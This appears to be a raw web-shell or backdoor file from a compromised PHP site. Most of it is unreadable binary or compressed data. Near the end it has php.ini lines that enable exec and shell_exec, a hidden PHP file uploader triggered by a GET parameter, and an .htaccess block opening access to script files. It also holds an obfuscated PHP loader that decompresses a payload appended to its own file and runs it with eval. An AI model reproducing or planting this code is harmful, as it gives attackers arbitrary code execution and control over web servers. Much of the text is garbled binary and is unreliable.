"MUme\F$T 6nzdlmbucvi}t:UtCB|:պKJvnzdlmbucvit_&AQz~IP~BMڰ(0`fď}˜@,p5/GaVf9K
ecL @f{ CP7Q9ε+B!3ڠClnzdlmbucvik+(Ty=?s}܉~*̐s{k!+8WfSh,E_F)Evں|{Oj;9w4f1mtVbgE!*b{\nzdlmbucvina޵enFBm_/Hu=#j,d\	F;( =T}f9{/p
$$OAznzdlmbucvi[ [
wGE3:1GUjh5sipegxbtkr.kf~v!_Tz~Lfgl
)ʜ7xK-|1ԣEjk\i&G^(T	8=F]=Q:̡Xhb|_ۿ*,a	s`ʐ8Ccn9 R)٧BdT	4c_7W!2k/6f^lU%?jw dj^!TVٟXYwϋep㟃MnzdlmbucvirwcTTX+j \iS(pNdazP"4J?UZӊmsipegxbtkrfN̙}));격ͣ]xӝ(rнI侷3\5w	G9K'2ޟ,6Oݍ:Brqݧȫ@4m(B.\f sipegxbtkrSF(u^^ڗsipegxbtkr`5R[÷_ċ(q縌_N)eqQG3Je -nnzdlmbucvi*ӁN1d&k	ʗ#UnzdlmbucviC-7+sk^RM.YJ,pcY	%Y)-׎
U)Bf`dt)%@o/
f OG֊gWHmʋǒ jnH+HȊ5K"{M5sipegxbtkr|1.塾ߪNmqdxA޳|EB	̚ߞ"ą^a=AjyOi
nzdlmbucviY]e5$vћ{؝asipegxbtkrF
?4^#GUkRnzdlmbucvi`ID*rgPݱ.XzX/!., 
bg
oWgxsoHal!HU F ;9z&zt£֔yRG5ֿrC| `Вz;ʜ 5FW[Ž,l+j,]v.4O	:NrCbnAQLė'*3w\m*7fJ 6psipegxbtkr6n|cv*cmlzAdo -l0'j9a{/|;AB⤯)4E_[2)S~qbJ 
PcL'(:st5g Xnzdlmbucvi`:'=u$Ҧh?fŁQf,k^psipegxbtkrU@tDZ%B}-Z'Kd:Hi]+"giLfsipegxbtkrw[|#*n!=Yɷ5kUeDQ^	m0}{]zA[GsipegxbtkrNJ	9;@nzdlmbucvi0xB
12Hy3T1(n6':~=SbE*m}7!2ɧO^Б鄐ޞB}+E4}R= $Z=@vNFa5P&"Ē$`([½j;2cP$β}1nFHߞ`گӤ^R2|,ŋ)gݝֲ{Į"IIErDL&UwtҊhuvQwv_aBX7&	-O"&uiAnzdlmbucviN,׿¬k[krbX'&[U&u0_|NoCйjM2sHciGf$l➦L`BJ,՟LJkz`ǘsipegxbtkr1;8)-\.Ci,dP|d$KxKFW1.bօDio*G%CxN(
EONc,v,Jpo@IosipegxbtkrAksipegxbtkrڠ%/.:&fe\=L!ުs1p1*D%+f~$ޒ5Y+vW`-R_S0w_YPp lvsipegxbtkro1xr5rusipegxbtkrt9-b)~ƦVGAIXUԲnJlޠzٻn01B2`)~9:׍ڍ.# f[pOYIV0k҆$$--I\|^a5ڭ˕ͪ5fa옋66h*=aomR67ƻ]Hd[GPrjz[ǿtlHʳM~GE [˳tP]CY@&ɭ.ZS.k\3opL9gZO@jK|:#7/޶EVAR|h8̘5 I	ҁsipegxbtkr8AZ6h6Ϸ`wsipegxbtkrfw'(R;"mC ,.l~4:v6PeM)GF$KǸٜЪ*
,j:&s-=	/o|lm;^*Vt!^dJqwCotV'X~_ ~""QW;K
3Iu?V_'쬘b}\D`R.
橕)sipegxbtkrYE6?HR3bFG?B|yB[a=arH'0 'JZ˫*g"ow}UߕnzdlmbucviNKxXҶmFHGc|'!zZ/|+;cQ6:h	GP_O ƒPp1	gyJInzdlmbucvi8iŶIC#&2*F7G{Fl==L
˝9qj0L\l{I\YAWSXA7ec^C#,`xJsipegxbtkrk:QT*F?t
5& J
c4!SuRpWtC|C=sipegxbtkr Og"{WBnx]y'V(Mkn|(EEnzdlmbucvi?!lk~F-z&EPq?qV,T[a _^ArHbZl4 KA^pZF6,aA,_RO5LᖇѹEשa	ćgr&'a@1٩K	Փ6`w84Wօ=}
n=ؔo"-#67d=
ks dWla:NR@C'{A/to`KnzdlmbucviIS{Ƥ[,qk쪩1]PNى웓ƪ#ыl6.r
RHlPJ+
ƪf\GIYci3o։,姒kFw,/\Ҏhsipegxbtkr62kiUnzdlmbucviL+B9ʎN4NB8Ju9D "4e|0}qXLp2EPPPǳ #RW#nzdlmbucvi-ɄjFcUud9?tKX,`
?
734{øZvM?m@1BZ5?t[TU#ֱ 5۬O @=KxgjFOBTEh[		P 2	v}Εwa,w_Ȍ!$|'*4	8ї~TEpw%:2ݼXee'tG	*ƍyXZ˴O.U	ǖq8|nzdlmbucvii
6d=_O_ eԋ.n|x$Rld?e#%F;0SrLOøӷC(&ƙ#}҆vR$Y_چU
gvbXˈY8_2xEi~eǒ"DbKj/şmK?d~&K-ljisipegxbtkrK G&_ԯ_x.6_GL'RsipegxbtkrF[7cA=Y3L=1/o(D+n\$n76SSaF{:|T(fc̐z:}Z0M2l*"Ì3?wubJ`yQAK,0Q-~HLj8]NxHY[\BXzCsipegxbtkriX)nzdlmbucvi=;+-|l_L8SnC;/AּK h]GRw|Ty*ǆmnV-'rptXŨ{v%Ǽ|qt
ݯ][OLD~MM-|ES%&uCLvs7cqf/BsM'*@l-ߗnl;bː -ZrFC0%6$/j}DDQx
ՙr`{l,Yltc1u끷,掁8V3gfxu9Ah.zG7vG,ro3o*:CYSG(Iv8|GAquLm2yVJdugN1ɇjAhI@kW`rUMq
H(wo[H;ݳ@f;v
Z;k8THlj8Ӗ`-Dajxg;"s:ʱ7 ʾە%gG~򾒧lp!'Ӕ]#7sX,4ކ`~VQ:˲h	_\jE6y?A+3hOZ'o\jkWi-2R5tȗ?HyQ7bnv6(utEpJ-"I3*HH4&Cj'zRJv'nzdlmbucvi;F!9kߗVO5oEj4ucEsipegxbtkruT-;`M,r'׃Ѷ5er\7v:ZDNZm@n*A
}-u=(..Ɨ:H߸ Nk(
̀x.G*9E %[{zjk%xRG#0;y}ht-q(#)vy*=nzdlmbucvi{/[AM+߲
nzdlmbucviX0sipegxbtkr9Y\x={:J"cE_B`g!%,Y:Jqo م˛~jGx}e9x&sipegxbtkrm+#sWDcp3}`DAy0NSsipegxbtkr;RpAo Jy@zZf81́jLGICDEt=J)/VISCHuQbP
n7fY΢{L5ΓT;,=릷}L$Կa-^7Ym(,ZKnɣ\)՚SÍ	؈#sipegxbtkr}an(G2ϵ?Wj]@c?
ܤ/nzdlmbucviw5h~sipegxbtkrRi庒dLNQIPbojq	sX71uڃy
؉@;+sipegxbtkr0%~ZVx3$-_eJ;Wa
cm7r˂3hQ%y(yX&ӫb	攍o~170`b#ZAӉ^#%qC둖!Gg2t=WxgmbizS.)՟cST6qBzwe9cVMԁo1
B&z(Vu{5ӛ2X
/w5`t+t-411sipegxbtkr=ﰇ]/\qݚwItj20E2:ϳwu]Jf5ޗYynzdlmbucvit	L8Y8mFLif
~'oMc	.'\eB#GK 0_LBpsyc_-rx|2H&w?B KV/*95fzR58[lnFQb|ߕ
f~Wl1Y.f=_&)(GsipegxbtkrVK-DDl˃&xB(I!]KɺӈimղW$% `H3 T rn8T?sipegxbtkr.-Gj|~tXO7~
8z{z ,3Yp}Pe/jŸ{	M+ OG
N*Kұ0hDWs{} 
gJo[SIlk6/z`rrE:Z0J)
Myk7PFu17u*1Ŋm]Kccxi$RCx ή@Ȋp=p3.x0dvR~-u%#TkPPV+%~OS?Yz)|'qsipegxbtkrA oO|,T:hS%bFʪ
"_g)"ײL+"檿YV2 D߅BpU=x@w)Aw	8aa/!#VvE*m ,3	w `nzdlmbucvi(/}`{MW{:-K.T&).!d5xdo$]
f@QkHxi+*;2ƛ&v]0?Y ]04Lݘ1$qeh:4n}`Ɇq(pr5S*)ݳԈA@@)MGxY7G/U3?,v0`Ymyxw-DTVL@313OKV:nnzdlmbucviHZZ5K=H?im_nzdlmbucvih[3Zi`yΒM-KT8)*tsnǱH??-pȧNWPj/o7}wZTjWc7CnzdlmbucvipQImxLlS\uڎ`!UUZ8'9(58k*pQp+oFnzdlmbucvixOnzdlmbucvizBS&| qs

9Mٸ$2F
SRiT='HQ?J*kxr 3鮬O&z9],.9kV!C*&8M}AHwTMF'ُd?S؝dnlfQf3+#0}c4ue$WsO˦:{&BkVʈd s׆Lٳ
EzGD*M9bDq¿pQnzdlmbucviéْW|K2?|Wå{
XWjJZzH(ޭO-:iK}9ԍ֊&^FN֗ۘCT_y;LƷO=ǁ"+`2V5nzdlmbucvi&dtnzdlmbucvi'hbf,PW|֜*ٝ7asIrݱl.nzdlmbucvioLiS\7uUYw~1Ol4sipegxbtkr57)LYj@C_@lר.lmSf
[\N(Wf(~*N̓)nXDҸ89?prRooohm^Bo"Ovz2ڎNZ4/|T{%fAXO̵,{5+#b|GIl(V3VP,s"yUnzdlmbucvip[DBWJ.zB=&cvRq΃{Iبl ǚs\ڕH/sIEJGW5#?52Q/ Ww `_lP돈vw@`̔r¸U7r\Zy
j8Y7{nzdlmbucvixdj3h\곆~aDgp7ukYE\Iu2gx0Ġ֔sʼLJF8R3E2"F1R#g~
c8-ջ:"~5Y:'
 ~ g
wmsipegxbtkrT^sipegxbtkr	%/_ʛOcfv5d֩X4cwe"[iBƂ$nA ȡD~ǋSDbp|jg|nMߦ{ԱП{|!vՉkۭɁk-^&p˺umlLm~ϩ߻|@񯭄2@%mKXǇDx:oRw
LKbY9:G}
GCGM@@nzdlmbucvizuI؆e'wT
f:uU#6ʒ~PzaW0WBWu3|b-(R	:ѫ|ja*|6G5( Ew|+
8=Si	&^y1i{+	mw?fG}""#I!*
lHq납6xsipegxbtkrͅNee{G)o.'f^sT Ӱ1J͇-̽IJg"ߐ˜k%Uxљnzdlmbucvi0IGx
ԅ :h.)3{9(l']]!UFptT~rQb9sipegxbtkr]cJ+Da ^;? m(MWn@Mg|O?Zd/JVaeLonzdlmbucvi[ų.J8*MԁvYe5mU
]&?Ug37|%BuFWwpL(8;\ fba孺0?|%"榅+@lk	 PFѿMHt1.']YsipegxbtkrX5ͭ+H*E)fF-j%CN"/8ey#9J1~|'3v&
`B!.=B)rɰk3'J$+^	HKn15E^Ii$~1nzdlmbucvi鉬fgi_065O+6Ue˟m^ކ$ɋg]eO?Nk΅*AZ:Ru5ۆu:\@}|5	՝Gs;+uT
C4x!ox!XV,'`ehdKm+f%|=I}'#rI-و` GH:i.Z /S2Лd(׭YFJ{	9|B;CHzIMnzdlmbucvizTr5ݝ#sn+d)Hat%qSө
 kIq		uI)I^g{sipegxbtkr(ϳ~y9/DGAn1[ Ii33bɣ^_`@;	tkp#	B%$,WSnzdlmbucvi]UmptVF@N_
,ũt|X#S,?3`eq	el^YQLr!?*YK1I"xp&Aօn/.CC+K`y@Jm#ĩJwH;vH{=8Vnh$nzdlmbucvi=P!5nzdlmbucviqlƹItHmK\
A03Yr/h[+ѢT，'ɼ!mĤƓjtQ/U
(;Ea
{#rf;zG1+_.}kA#}``ф79{$%9p[G?TӠn;%.ƐN1AtCoEϽ N`k:
̗2et}VIJdl@I%~CMPἺY/v%&[Uf_`n.W$_w$'ğ~-EE4[XuA-ƶUEh"vE
Qb~\iVLh}T5:=%BE(||N]nzdlmbucviPLsipegxbtkr-hk׀'
Mo]-BCn%WK:zT:&!vOYLU,tb .`F冶b}GKՙ |#$\ %1[ӊwNh,m*O=LİC6/ҹnzdlmbucvisipegxbtkr Q~	kOa"#[:8ӜMaAxCS~
%4w)McĬB?n38/３x	ze}u8EYxoZ/dİ#@8вgpJR-
9uMia_	A*w[.	71rx+0	,,L5ܻ)Dqi2(3J1a`n6ho!vh-˯2n.US,]Qӽlx
8u1)VkcIIx[T$KZ&h-ēfu|-x+
&q ^tnRVҢJkNaaˏB@op᜺	Gsipegxbtkr{!^Z6uXJ+jCc(nsipegxbtkrD%y'adpRfm")uiQsжO$v(DN	L8%]eZlOZ@ !vB7M)riѺz-(5O37 P$Fķx{T
f(R{"p] E4)iv4ȀF۽ƻ?ĎMk4X
=0`ێ5emC&53=E%f'5S4R0]!_e=E&DꏷiR4wʟi9;GJ.ק!Q,=4V!\QoX)QC쑈6snzdlmbucviu X#?k
txITLR7wS ??_xc
%|kFQ?M)Rm.5 `Ȉ3
1wǯ/sꧧ
YPx])FNdBF	yGpx*6W\'԰,ި::ǒ#=CkiޓFZDpӮ۴7k)\Rr[U[{@\+'Kb,4Naw'
KNnsE,0eoxnCݒ7!Asipegxbtkrr@(!_~~,BOsipegxbtkrNPy{E%nzdlmbucvict@#ژiMXUSfLN mzQ,[Ue\~j{Ob]`6%=*PP@6cj`
 xW  n_(ްM7+у[ƅ0fgTVzo[oVԝ2Y O8LkK|\O0럟`do8pU㷘#n3AEI~aʯZfjtzVkiXo Ր[gB~,Yrr..UI&zsOwĚ:ܓ@b]g5I[]~-a;kX.;E? @J
aWdw3å\c묨gv/|T\gu	enKBc Y޾cԳ4w_U
\:a}F	ة.׶+bDw
⎯|tϥ$z_ϜI
EiZ:j=k$*Fk([ے0zW"jHYL]$QF-
,v9\&3zMTpusQR~pva`ag.b#-M/
$pқ\^O#Ϸ!Gkߴ[
^j(H]G4=_r8OAID?b7 zI叛oP,,Ork8?KHIjj[$"
Fct'\z;cHͦi*O
{ IM}E7a"g)hC~ۘ@Bk_\h5oWN緪"ۭ'2Seoz,7׼ϟ%	U(d6sipegxbtkrV-eY䁒u~*2O?IuΈbˋuh}+
K03Kd3 U**?7)3B٢&h dKËA⹡6@S̥WOhԍҔ0ջ}r0+[8dM]-En%*AY~1+ŖAvRދY@Ch#/3P+y!봨lޑB@Y  dڱi3lV8#PpfT{ror ]nzdlmbucvi ެnd=%۔[[mg
u_2_}"zsipegxbtkrNݐS
%'n:Qڛul	SASv*k9ǟ:P+cO'j2ÂM-?! fyN2ܩUֿm_`FmY~lŰg֘LF&jT6iDca()	.Rȓ~͔getAHL'Pr2 z_nY&]Zr[`]Ncu4evj@\	 @5mg*(kbX\Q8x##)nЄ! R
{ߏf˴~-osipegxbtkr5Fd: D@@Z4`Ј]+08wޡ{wu=-tboq-Y9KonjbNAF - ^R@
ƲлHSP_ud=r{*1pX81c?0mܞ^5Y|Ʌ	TztN,^L(&G 1IN,67\.@VCԋr2)@U8l%U_ TsipegxbtkrѰMm	-	"ߡ6nzdlmbucviB;PU-+,sW(OЈ8BfEg[?ހ)$7	֒aQQ\ajUhxCoC|Ø1Ӕd3A0v_JzPK_
սOb~X7Cq)F3J-UmĐ|A=o`:ar.b87Gp't8GQ	
3e8-/bը~9v@B8#)mJx_|\T}MG/~-k2Seb4AزUC}|GF8-u]ur+`ަhF(k_wiYFGOB@^HVqK?Terf_M]sipegxbtkrTc:Fk;o]k7QV(!RrH4W\FȨ8"nzdlmbucvicU#ܨgD{nzdlmbucviȍDY2~H4SsipegxbtkruGsǜbV/қƛ6u&jux
7UQR*THt_dϩGǲ
5ӄK)qVjIDDMˏQְ7KjBdENh/O	b[4wl:m,x;6˫sipegxbtkrM='@=na?'.\{/ ֢~E،$ŉ,բwѧi)o_/ꕞg~z\T=# i瞹=W|c=U*0TŁZs-*Mk]rSAM"|E!X*LB#E܂U6kÕPBqS;;,'{BVgVR/B*}l[\X݀'߷ۢZ@nzdlmbucviksipegxbtkr5".(lNʫKp
%(
e7&^L`:Q.Z
q/%8H(щ0uCޖԀiEDpsipegxbtkrP5߽w$MG!Gix7]BJb v3yY$d5P"G$?yxfG0
qh^Cި^0ʏsipegxbtkrj_)_!P޸OB{C6O
1CX|J5wB^MA?Yz02)Ih$,tr=Jʐ0
Sbh
d]#^*"֝@@\V;/-pi#F 44w4uFuܿ;œ,LxXuR!BC WoŠ0Pn
.xX)LŐs#'=S%}nzdlmbucvi!5Yf6St!Tjl^ݘ|{Nak}9.+ZeD?~eU} \l~MM 9w.ul&u#SrGW
72}֩YhVVk57a
nzdlmbucviFs&.IpJE6$EĄfٴMs۔,F׌#Vu|Z/ވ%x0|ɥVjUsipegxbtkr#8c4vqsi7}mÁ̰=J⤃k]i|l#lPsipegxbtkrWʿm	|aLYt
׵g&.4a1̙(8w#]4B*nzdlmbucvig0[ޕIR
AtJ~Rݕ;@Fz~"9%[!.vOX,VJt~ޗRCQ  E:.5-lmjQy P\cݛf8
/@Te3V47Qz'GFܴIsipegxbtkrs\d专aVɣU؋;v^0F^1z_Ϋ['x"gjդYc^M/
xq_;C/.8b?aڜxe
}i%wӽ!Mm}JuԽE߯V%znS'_
`Gp+Կy09rLpKi#o;PlF\у_JZm`Y*Tc8unzdlmbucviTԃ)c{ސm9(5pVꬎ.S:49gw66o)
˝qNtѬUǖ&U@=;Q+.|?h!,1SrwٮZ#CDڍ$=:Af.kh
)9:Xuz^lQRb7a~OisJ]C[y 7 ,M|YxJ@|M,uB~ښ:YbrVT9Mk9Ě]RAQ&BAVU#X{U\])P}(Ѕo15лw䷕ɯuնc}F]z 4܌QB9kw)3OHzѶ4&sipegxbtkr֥~ҧ` !-X(-+	!bY)sipegxbtkr
GB=}'9pcmO]J%.NGԯ
L=!8tańEtޥw!R `L?eOHyZY~=Su6	r]6OZS(8K![ul3	K,?8	R&L`x}\ H^3!{sz0(QrnzdlmbucvimBr]nfO@v(nіU?Lԩ  +V
qN`J഑6Mj/Ullsipegxbtkr{e
h˥dc8宀KUmyThԢ83-my/JY^oV^ӳ]ͩyB:sipegxbtkrfI~u@kXnzdlmbucvin!d&x5Be}fq e ~ܢc
H͓i@@_fE'K7fޏCS:\?kq̈{S|`|nzdlmbucviz:R\RaW&m=J3U'ȶ%$VjЋ'~4!
2qh3PpmֿgYՀJ}:-2&`
Mqi3,&}cDjPsC~o Z*76~xG`\,$IcE.kM",V}1/"Vo;' !W~*ߵVsipegxbtkr0&	|W0yM+4@"_%WUͫrKoLf+%MsipegxbtkrX[^sipegxbtkrI)nMd@xʹ-lIʶM~Ht.\c9vf	nB'
sipegxbtkrsipegxbtkrYQicuc[F|!	DpҾAzF5CT-|5sipegxbtkr.퇺U	DO`@5ߵ1)]|ExSQ (~
&6`3`4F{$&j3V=1F	"2g_DֶfYLgē*C8_Az
nzdlmbucvi!u`OϷ& 0zb=3hifn{0X$4D0o%-GG;=.\Sl(;_ye-hD{â(}lU ]Im74rkJ/"AQy?sU0/8cpWgo[NGD@#!'dزۑ+qZ$ک:hxV~,zB EB_R7TǺ~6g?_-fԈ,l]WCԄ2ChnzdlmbucviW!E?j4$/f`_''0x!P)SI\&l`U1a{PDcCbD?DL%?Sxߞ{T!풷^W1d/̗qAxNo"#0siJ׍i}R?n﷌Chn \A_meQaW*Syt HY!7%h
ednTo=_{A+@5zoP,a1xA$Ķ%N
顯*i~d1+
uMECNzyPqQk7v'	iArE2ol%mh:׾^hl4I?QN_ECT2;t^Rn~67󢗥?e!u)@ѧJwn7i GpNJDgŨ}̎Q?ЙQćhynzdlmbucviqPwD/sipegxbtkr~&Ssipegxbtkr^yBL$
􌍛,O[
nzdlmbucviIa`5)~fJ|9Bx…#sK3BuCx^0ǣBBx	(+0SI@"{wO,ct^M0^kl*`tLVlvPIX	9rˇ[ޜoʾqrMN0d+S~	Ke/E%\l蘮P!q
/M GegnzdlmbucviqJNJԍHgQ\0К-}9\Qj2Ix 9ݻ	(Scur3bNF!y ȫK%7g3HoRpɱO5bګ?(&/lBrI1L7^lM6ER^9lLS|k*32.y~nzdlmbucvi|\)#"?w.
!t?X;tz;kI'b'y1U廗nzdlmbucviP1xRq;cVպ
Auf+\LP_Arn#nIsipegxbtkrI+vԅFf10\bOdNr@BP{h.}b%hK=6ѻ9ߕᆡ8 oIjrj0+#RvOLB?H`nITcqա˛x.Nڒ(vK5L+sipegxbtkrGCmrsW_iYn	cnzdlmbucviaGA\!æ\Bnzdlmbucvi]BO˵okeB|B4Rō%Լ[r)בÏR-8?&|OEII@
iғkLZftrxxL輕T(+M"#6
wInzdlmbucvikIM7QxS&SrqD
C-p7p7?vodJh8|l{N	=lU	$hoSp+n{
fpo6nzdlmbucvig|iT%4 D}fB ڑ`'*ɠ]:9/7O8P`dPcS[cke[5h|4MC~#R.tb#يzEEmN$ŀp3QuW=cz\NjOu0 7çhC&ic|=PM;hM
Nz;ic*+?ylZ܎Ռ#eO1ՠ"OyygbV	x*0E898b**@%!-$ XaLS?P88Fz3!gj֟'F&߸Haת
P/\nzdlmbucvitr`$\u8-*wΐ=Pnzdlmbucvi_7Lvu4\1ϨnzdlmbucviptvmNK:2knUCڑV2qlU)1 Oz#sipegxbtkrwoKF\TnzdlmbucviAU@jzm(tcCv3G7k4\Trh-:2pWԿ̟ϝ=9#s'}aɔ:I$u/~QW UY\"`deޢi%ժXܭG;s\DwyF4t+Yx|߱L'	7*[,nzdlmbucvi\Yvei[sipegxbtkr)o*swwf(OCxT&\#h&4ᇒi)g1e(ǂLUwoa,	
}9~?oMtó!*%)v`;D=hj[os6bX(*7蚁*4;gnb)j/=اl:-o{/~PfeC42,M,JדA
9}6ۀInzdlmbucvidqx-;?jV&+雳O*3*#H$c.9B2PFh
Az(\4yz0\t//֥=(6fa.yh⚥vU&t`}yzZe[N4?qrg:n3Q^pEݱ$dg+00y* $%ν
G[JEWqd!ieAFK{Z3 ~ESf:chh[a Fߤ zp06Vmޜ1H3nzdlmbucvi߭#ǷgLŮѤ]B=qptsipegxbtkrB8 6NOHGn{Gt/$cWN{k ڧ-R_ܘHsipegxbtkr	!wAm[Q]m'ހx1Kfկ.[=\2"{D3,})҆W;Zk	QNg1=TAUB~׌[cQ7Pm	-[7RC)qBɪ'WWD4 gQQ5ı	C܇ˌ	ZIx՜8h?c;g!f%V)#.ȍ*KC}Y+_gmр8t2DJ17ۣã3} _&rg&X.xw0ZpiOg"@/BiZQxmqӬ9Ce$X#{{doo=ݯ0^?Qcq/v0]g3+0W2,bN|D9_@Î|ޠBj뺑=:nJ=4bԦ%Z!UF=}ɔɏ(.DKinW#nzdlmbucviB7*{+֮kMs$1[-|i	W]IO]&4
KO5i:vG4J0Kiҩǳb)6ms2
XyCu/B\$׫:aZߩ:lѱ8/cfzao{\XcY?Qg@$?/}@j3^zsipegxbtkr}A(~|&V^*Z=Mjg$Hf$r[v~4;sipegxbtkr+x뛑sipegxbtkrUGƇm(3j4b2VQk#'%ޗ7,sD^E\\xV B٫
6.(5f[]
sh1)08(nzdlmbucvi7nzdlmbucviv_kPNJcsipegxbtkrQggž}!bju/|2J~n%Dש-[p}cn]N%oO~@6ZF9Ʋ^@pB4z$;B
W}ǀwGcлbx!t}^}$N{r dUmޞxk7BB'
+I:=rkM
#Q3ڗq}Ow
/sipegxbtkrl_E7ߨ3VZRbwwYǂ6So	~}^H -vFu/ Ia!
sD	[8Kt_9J8	]n
I.c~@JsipegxbtkrhNտ;:Eã~aOr42x/N+gj7xCsipegxbtkrEJ!xa\sipegxbtkr16z쩺dI/@mͰ+R-SwLWsipegxbtkrA?ɛV4AN.8B\Q
:jO4m yz Z\&5HGмs1b֩D8TVsRA\I_~Ȩ
YިCKe5ZYjE4И1|	̧F|wC8`VAN^f.GY?Y$x^7poeˆnzdlmbucviu1X=|
HnPj A~x'g'Q8ZwF6"^~𵺧
PܐU,̲*85"ahjK'V Hr CJBnm?ƀZKI/ώ(] ^Nif_	AIdર=}4nzdlmbucvilS81ʥ/gl[IPGS0;MGB8@Ez)ImB?'ZHt
*nzdlmbucvi=.sipegxbtkr%\ps8rxZٸfU$3&G
)4	]),/c^
FUY+ut ^KK-vsipegxbtkr--{ƆFn$ueku6bI,(~1N&@C0T3˝`DcZhQ7R3K-!86Stf¹l{8t%^P&f=V=BJ;=sipegxbtkr7Cv~IRbew^n.roN&W?1!cσ_o.n*?onzdlmbucvii5CYp$^m!mDsipegxbtkr
:a$)yۻsipegxbtkrktfE4aVf&~ARA3
/ciR.&
W8L.nzdlmbucviI@CRِ(Rz$=`"]qVo/.=k
gzq=m6ՐIRKsX
)f:Wq%/G/)+y(kZGC
78hA[كͻ;Cz+M!ɸ#0)z-N\H*E-	g"u;/~E7SƼh_g*=.;07ŘvRU(9dݵՇ?3%rpmv'(7&_:!Z1[Unzdlmbucvi4^啍zSSWTHWO2͜(te_ǷŤ"9!9\Nw)\,uB ab_Hon:]pzce.~$Pʜ[M}hA
Panzdlmbucvim	J/?Q
)pPtDzZPgK2BnzdlmbucviY?3֘%Ig v.R$fOT_Okej]1~+QE*4kkHLٝ8꽖B@dPg4Q]W(Q}V.1o: 9r
WӳIm{#+	wFwVƵĵk: NÎ?P {VܿR!6IFm
^P}usipegxbtkr[9wtp#m!hbT0~֋R;[[RPڱXN*5ruHA62`#l1$ 1Gb߅Rhnzdlmbucvic.!VnzdlmbucviOߑHKFe$qj/MhY Xd*-Lk=9IBVsT*ͦQ(r`D/2EX|ܫMiȦhϖ} O;K(F6nzdlmbucviS^?|ud7(NEe)ѡcRAXa_!;O"2hFjp5DJlM9O}n+"!nzdlmbucvi~dL/)g\9h}MLecs[~9e=QkXsA3=JOesipegxbtkrj v-3R)IR#[J-))%Lfݒnzdlmbucvi9ɝ/Cx]&?`V?R_ b3nzdlmbucviaOQXЁ&SdԖcdv
X3REbnzdlmbucviN7#b%g#z P_gyJ~Qis
6=H;JS5 ˛E`Z.SC3\#OKÎ;֝e*Q-jB~qBnzdlmbucvi(̱= w EAfUc9@Wl
PsipegxbtkrM7{8§&sipegxbtkr
H/|'eAn	Rp0fi"Wq~ө[y=aRu闐jcy9XzI/vJǓ	,!Lsipegxbtkr\NN[q.ݤ4υEIDqf\0Ny³wZ/_m3nzdlmbucvi:݀7Z֩}jnzdlmbucviF1gO_9b{&~Z)K7o7I]uFY_[7_y;\Gr=rhvinn*W'
k) enSӚǨpoah_0GʪȸK 6С	ƧTe/JibHP8Ѻ,/(o	P_{b`qs{D~4\0HVAB0|Az"XKpfB!:0Bn3$4y5]	~):Vʇ4` 
m"YSӡ6nzdlmbucviZoܻ6`;S8dFm(:2]WRR6	1ot4~uQ]y 	6pwZ'Ȩ65TC
b(gЀ5gݙݙw$P=igUh[Gy*7+V^poibpP2j٨!d8gfD	, `#sipegxbtkr;Ś"nzdlmbucvipc||
N=sipegxbtkr_hb^F
ábi$`.Gi荒%
@v_.;}/@Znc*u%ch5Lڍm.w	13G'WnzdlmbucviHx%1ChˬO;"Wy6.Y9pYS.zDSV[
qa+6q(E۷jX+ӯs%;"V,M^Yrvv$#mLC"ҕza~R0sipegxbtkrؿvQmn=y4fKߤ~X-x%QUβD4=NC/}&/ħfp)B{W{pHcuBImCĴ"G3hb=F̺ϩj`RXΠrCUG|A##MZbuw-U^ʪZ6B|0bAeI~Y.k uqq|P[4hN賷U4wS~o6)n#a8eiG$Dݲy0;\[ͣZzF`g4B7
'N-b.1ӑT|QR;N ,3(LbH]aY-OCYi:%55Ӌ	tV/ K0:D^d{6I,|	nzdlmbucviX鉮]\~ZC)D@nusipegxbtkr{-0)R
(JъVsnzdlmbucviv_豾qok}kWVirP',
7##|,YbG#uκ5..P w!d 剿aWF
xqwh{T45nzdlmbucvijv"Ouk(#׷w
`PytP燲^by7@sogm01͓Sv*c5GSAԶ2(΍ZDƶ[sipegxbtkrmĂC`lp;$~;r!'ʏZHΡ;EVt69`ֶMk?LDCԒ/4\}Yr$}ۈʳ&mD)3B@c^$/$S8I~_G4ׄF־2,ޏf~rD!QWˋvR
L	g&T0s.tc3_Mx@x"n{3 m*j|X.!,D߄z~@yaP=c岿51D3LoB?@G/"|	:bN+4͵XL! ,M@CA`q7NɻsipegxbtkrȈW].٫/nzdlmbucvi{%~6kZZuaԝ .xd߃\IoQ+E
tt!5tSVQԔ
7/xBk+_B$K$g~G4QSWSL$/A[hT4_%sWŃG=^a5e(uy
H	H%Kb\'6Ͽznzdlmbucvi:+'
0G5܉7_p.?(Ho?OV#i` v&-pJFDUtBM3|1m#ϡVdYl\Gv)w?QS]=N9yiY+ޫn%߁윖DGRůĀߖU@s oNwj+ҽ;hnURmƁ)ҴpZLxp`5
~ЖQoJؗuݺmzF}J"r?Nsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$wrzg='file_'.'get'.'_c'.'onte'.'nts';$yeWP='su'.'bst'.'r';$RKZM='gzun'.'compr'.'ess';$moLU='ex'.'it';$VQWF='st'.'r'.'_r'.'epl'.'ace';eval($RKZM($VQWF('aikqfbcmrh','>',$VQWF('wxcduklopb','<',$yeWP($wrzg( __FILE__ ),-28252)))));$moLU(0);
?>
xTǎze_f0(U8*I߿ZJϷ?{I`,߿R#{Lwxcduklopb.rו6o˼}۩^~r04'	"3((H,.0
È*:ʜ}Nv_w!?)t{_ۥaikqfbcmrh_бv^%f߷HVHYU+cM'-cu] BԄ-'	o1L8H:lS:Aj׸iX/ULIjaUnog"$WRaikqfbcmrh\cf`Z(,H#9K$!Q+n+@"-S
/Nan1da̗zIUd,[^yr
?;IoA%r 
~nH?I^ wxcduklopb]{: ֡gAP)	*RaikqfbcmrhxDX	[닉2EϬb;:mBBڽnVgoQLRo,
͇ewxcduklopb)*HI f:15"YRtz~=ߎaikqfbcmrhO`l\Wف#Yhg%qr֬ͣpaikqfbcmrhY00h|BK_}wxcduklopbpTa	ZV_Ta2H4PMz
5b*6N.xWfGe&Dx@2YHC$.Ϲ֜X$2nn	}'͹iC}Ӭ'6IDoٲ7sAeִ}2ѦjuGe
